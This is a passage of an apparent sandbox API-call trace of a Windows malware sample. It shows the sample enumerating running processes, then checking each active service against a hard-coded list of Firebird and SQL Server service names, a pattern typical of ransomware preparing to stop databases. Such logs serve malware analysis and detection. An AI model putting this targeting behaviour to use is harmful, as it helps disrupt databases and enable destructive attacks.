9 [0185.907] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0185.907] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0185.907] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0185.908] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0185.908] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.908] lstrlenW (lpString="svchost.exe") returned 11 [0185.908] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.909] lstrlenW (lpString="svchost.exe") returned 11 [0185.909] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0185.909] lstrlenW (lpString="dwm.exe") returned 7 [0185.909] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.910] lstrlenW (lpString="svchost.exe") returned 11 [0185.910] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.910] lstrlenW (lpString="svchost.exe") returned 11 [0185.910] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.911] lstrlenW (lpString="svchost.exe") returned 11 [0185.911] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.911] lstrlenW (lpString="svchost.exe") returned 11 [0185.911] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.912] lstrlenW (lpString="svchost.exe") returned 11 [0185.912] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.913] lstrlenW (lpString="svchost.exe") returned 11 [0185.913] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.913] lstrlenW (lpString="svchost.exe") returned 11 [0185.913] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.914] lstrlenW (lpString="svchost.exe") returned 11 [0185.914] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.914] lstrlenW (lpString="svchost.exe") returned 11 [0185.914] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.915] lstrlenW (lpString="svchost.exe") returned 11 [0185.915] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0185.915] lstrlenW (lpString="spoolsv.exe") returned 11 [0185.915] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.916] lstrlenW (lpString="svchost.exe") returned 11 [0185.916] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0185.916] lstrlenW (lpString="audiodg.exe") returned 11 [0185.916] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0185.917] lstrlenW (lpString="sihost.exe") returned 10 [0185.917] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.918] lstrlenW (lpString="svchost.exe") returned 11 [0185.918] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0185.918] lstrlenW (lpString="taskhostw.exe") returned 13 [0185.918] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0185.919] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0185.919] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0185.919] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0185.919] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0185.920] lstrlenW (lpString="Memory Compression") returned 18 [0185.920] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0185.920] lstrlenW (lpString="explorer.exe") returned 12 [0185.920] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0185.921] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0185.921] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0185.921] lstrlenW (lpString="SearchUI.exe") returned 12 [0185.922] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0185.922] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0185.922] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0185.923] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0185.923] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0185.923] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0185.923] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0185.924] lstrlenW (lpString="dllhost.exe") returned 11 [0185.924] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0185.924] lstrlenW (lpString="dllhost.exe") returned 11 [0185.924] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0185.925] CloseHandle (hObject=0x55c) returned 1 [0185.925] Sleep (dwMilliseconds=0x1f4) [0186.796] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e230 [0186.796] EnumServicesStatusExW (in: hSCManager=0x408e230, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0186.797] GetLastError () returned 0xea [0186.797] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4052988 [0186.797] EnumServicesStatusExW (in: hSCManager=0x408e230, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4052988, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4052988, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0186.798] CloseServiceHandle (hSCObject=0x408e230) returned 1 [0186.798] lstrlenW (lpString="Appinfo") returned 7 [0186.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0186.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0186.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0186.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0186.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0186.798] lstrlenW (lpString="AppXSvc") returned 7 [0186.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0186.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0186.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0186.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0186.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0186.798] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0186.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0186.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0186.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0186.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0186.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0186.798] lstrlenW (lpString="Audiosrv") returned 8 [0186.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0186.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0186.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0186.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0186.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0186.799] lstrlenW (lpString="BFE") returned 3 [0186.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0186.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0186.799] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0186.799] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0186.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0186.799] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0186.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0186.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0186.799] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0186.799] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0186.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0186.799] lstrlenW (lpString="CDPSvc") returned 6 [0186.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0186.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0186.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0186.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0186.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0186.799] lstrlenW (lpString="ClickToRunSvc") returned 13 [0186.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0186.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0186.799] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0186.799] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0186.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0186.799] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0186.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0186.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0186.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0186.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0186.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0186.799] lstrlenW (lpString="CryptSvc") returned 8 [0186.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0186.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0186.800] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0186.800] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0186.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0186.800] lstrlenW (lpString="DcomLaunch") returned 10 [0186.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0186.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0186.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0186.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0186.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0186.800] lstrlenW (lpString="DeviceAssociationService") returned 24 [0186.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0186.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0186.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0186.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0186.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0186.800] lstrlenW (lpString="Dhcp") returned 4 [0186.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0186.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0186.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0186.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0186.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0186.800] lstrlenW (lpString="Dnscache") returned 8 [0186.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0186.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0186.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0186.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0186.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0186.800] lstrlenW (lpString="DPS") returned 3 [0186.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0186.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0186.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0186.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0186.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0186.800] lstrlenW (lpString="DusmSvc") returned 7 [0186.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0186.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0186.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0186.801] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0186.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0186.801] lstrlenW (lpString="EventLog") returned 8 [0186.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0186.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0186.801] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0186.801] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0186.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0186.801] lstrlenW (lpString="EventSystem") returned 11 [0186.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0186.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0186.801] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0186.801] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0186.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0186.801] lstrlenW (lpString="FontCache") returned 9 [0186.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0186.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0186.801] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0186.801] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0186.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0186.801] lstrlenW (lpString="gpsvc") returned 5 [0186.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0186.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0186.801] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0186.801] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0186.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0186.801] lstrlenW (lpString="iphlpsvc") returned 8 [0186.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0186.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0186.801] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0186.801] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0186.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0186.801] lstrlenW (lpString="KeyIso") returned 6 [0186.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0186.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0186.802] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0186.802] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0186.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0186.802] lstrlenW (lpString="LanmanServer") returned 12 [0186.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0186.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0186.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0186.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0186.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0186.802] lstrlenW (lpString="LanmanWorkstation") returned 17 [0186.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0186.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0186.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0186.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0186.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0186.802] lstrlenW (lpString="lfsvc") returned 5 [0186.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0186.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0186.802] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0186.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0186.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0186.802] lstrlenW (lpString="lmhosts") returned 7 [0186.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0186.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0186.802] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0186.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0186.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0186.802] lstrlenW (lpString="LSM") returned 3 [0186.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0186.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0186.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0186.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0186.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0186.802] lstrlenW (lpString="MpsSvc") returned 6 [0186.802] 